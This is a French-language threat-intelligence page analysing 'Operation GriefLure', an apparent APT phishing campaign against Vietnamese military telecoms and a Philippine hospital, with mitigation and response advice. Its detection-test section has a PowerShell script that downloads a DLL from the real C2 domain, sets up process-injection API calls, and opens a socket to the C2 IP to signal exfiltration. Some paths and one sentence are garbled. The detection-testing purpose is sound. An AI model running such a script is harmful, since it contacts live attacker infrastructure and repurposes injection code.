SOC Prime Bias: Critique

08 May 2026 15:40 UTC

Opération GriefLure : Analyse d’une campagne APT visant les télécommunications militaires du Vietnam et le secteur de la santé aux Philippines

Author Photo
SOC Prime Team linkedin icon Suivre
Opération GriefLure : Analyse d’une campagne APT visant les télécommunications militaires du Vietnam et le secteur de la santé aux Philippines
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Seqrite Labs a identifié une campagne de spear-phishing ciblée reposant sur des fichiers LNK Windows malveillants dissimulés dans des archives RAR doublement compressées. Lorsqu’ouvert, le LNK lançait un ftp.exe chargeur sur le système natif qui reconstruisait une charge utile polymorphe nommée sfsvc.exe à partir de fragments .doc stockés sur l’ordinateur de la victime. L’activité visait des cadres supérieurs du secteur des télécommunications appartenant à l’armée vietnamienne et du personnel d’un hôpital privé aux Philippines, utilisant des documents à l’apparence légitime comme appât. La chaîne d’infection complète se réalisait en moins de dix secondes et ne laissait que des artefacts minimaux sur le disque.

Enquête

L’enquête a décomposé la structure de l’archive, cartographié le chemin d’exécution du LNK, et rétro-conçu le sfsvc.exe chargeur personnalisé, qui était conçu pour ressembler à regsvr32.exe. Les analystes ont documenté le chargement dynamique de bibliothèques, l’exécution de code en mémoire, l’injection de processus, et les communications de commande et contrôle à travers un domaine déguisé. L’examen des artefacts a également révélé un domaine C2 codé en dur, www.whatsappcenter.com, hébergé chez un fournisseur à sécurité renforcée à Hong Kong.

Atténuation

Les défenseurs devraient bloquer l’exécution de fichiers LNK délivrés via des pièces jointes d’email et surveiller l’utilisation de ftp.exe avec des arguments de ligne de commande suspects. La détection sur les points de terminaison devrait cibler le chargement sans fichier de DLL, les écritures des flux de données alternatifs sous C:UsersPublicUpdate, et la création rapide de sfsvc.exe. Les organisations devraient également renforcer les vérifications de la provenance des documents et sensibiliser les utilisateurs aux appâts qui semblent être des fichiers légaux ou liés à des lanceurs d’alerte.

Réponse

Si le fichier LNK malveillant ou sfsvc.exe le processus est détecté, isolez immédiatement le point de terminaison affecté, collectez la mémoire volatile et cherchez les fichiers chargeurs 360.*.dll et artefacts de flux de données alternatifs. Le domaine de commande et de contrôle identifié et l’adresse IP associée doivent être bloqués, et une réponse à l’incident doit démarrer pour déterminer si des données ont été exfiltrées. Une enquête plus large doit également être menée pour une activité similaire à celle entraînée par LNK dans l’environnement. ftp.exe loader activity across the environment.

Flux d’Attaque

Exécution de Simulation

Prérequis : Le contrôle pré-vol de la Télémétrie et de la Base doit avoir été réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer précisément la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à des erreurs de diagnostic.

  • Récit de l’Attaque & Commandes :
    L’attaquant, ayant pris pied via une pièce jointe de phishing (T1566.001, T1204.002), choisit une approche de vivre sur la terre pour éviter les charges exécutables. En utilisant le cmd.exe (T1059.003) intégré, ils lancent un PowerShell d’une ligne qui exécute les étapes suivantes :

    1. Découverte – énumère les informations système (T1082) et les processus en cours (T1057) pour décider d’une cible d’injection appropriée.
    2. Récolte d’Identifiers – lire les magasins de navigateur (T1555.003) et extraire les fichiers d’identifiants (T1552.001) dans un dossier de mise en scène.
    3. Récupération de Charge Utile – télécharger une DLL malveillante depuis le domaine C2 www.whatsappcenter.com via HTTPS (T1071.001, T1041).
    4. Injection de Processus – injecter la DLL dans explorer.exe (T1055.001) pour obtenir la persistance et élever les privilèges.
    5. Communication C2 – ouvrir une connexion TCP persistante vers 38.54.122.188 (l’IP codée en dur) et commencer à exfiltrer les données récoltées.

    L’étape critique qui satisfait la règle Sigma est la tentative de connexion sortante au domaine/IP exact, qui sera enregistrée par Sysmon et le pare-feu Windows.

  • Script de Test de Régression :

    # -------------------------------------------------
    # Simulation C2 GriefLure – version PowerShell
    # -------------------------------------------------
    # 1. Découverte système (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Simuler la récolte d'identifiants (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Télécharger une DLL malveillante depuis le domaine C2 codé en dur (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Injecter la DLL dans explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (Les étapes d'injection réelles sont omises pour des raisons de brièveté ; dans un vrai test, vous appelleriez les API ci-dessus.)
    
    # 5. Ouvrir un socket C2 persistant à l'IP codée en dur (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Commandes de Nettoyage :

    # Supprimer les fichiers en instance
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Fermer toutes connexions TCP persistantes (si toujours ouvertes)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Optionnellement réinitialiser le tampon Sysmon (pour un état propre lors de tests répétés)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml